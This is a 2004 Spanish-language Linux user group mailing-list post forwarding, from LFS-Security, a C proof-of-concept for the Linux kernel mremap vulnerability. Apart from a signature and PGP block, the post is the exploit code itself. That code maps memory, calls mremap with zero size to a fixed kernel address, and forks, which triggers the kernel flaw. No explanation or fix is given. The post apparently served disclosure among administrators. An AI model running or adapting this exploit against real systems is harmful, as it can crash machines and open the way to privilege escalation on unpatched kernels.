[LUG.ro] Fw: Linux kernel mremap vulnerability
   
    Alberto Ferrer
     
    lugro@lugro.org.ar
       
    Tue, 6 Jan 2004 19:23:57 -0300
    
    
  
--Signature=_Tue__6_Jan_2004_19_23_57_-0300_cHibfaxychsySpqp
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
/* Extraido de LFS-Security */
#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>
#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );
int main( void )
{
    void *base;
    base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
    real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                 (void *) 0xC0000000 );
    fork();
    return( 0 );
}
--------------------------
     Alberto Ferrer
  albertof@barrahome.org
 http://www.barrahome.org
JID: albertof@dattatec.com
--------------------------
SNMP = Security? Not My Problem!
--Signature=_Tue__6_Jan_2004_19_23_57_-0300_cHibfaxychsySpqp
Content-Type: application/pgp-signature
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)
iD8DBQE/+zV9quh9sbHnN3gRAqNhAJ49pkkHHwvFwnZK50liMJlel4GDoACeKBYt
+3gJHwlhGR6jfd2hSfxc10A=
=fH0g
-----END PGP SIGNATURE-----
--Signature=_Tue__6_Jan_2004_19_23_57_-0300_cHibfaxychsySpqp--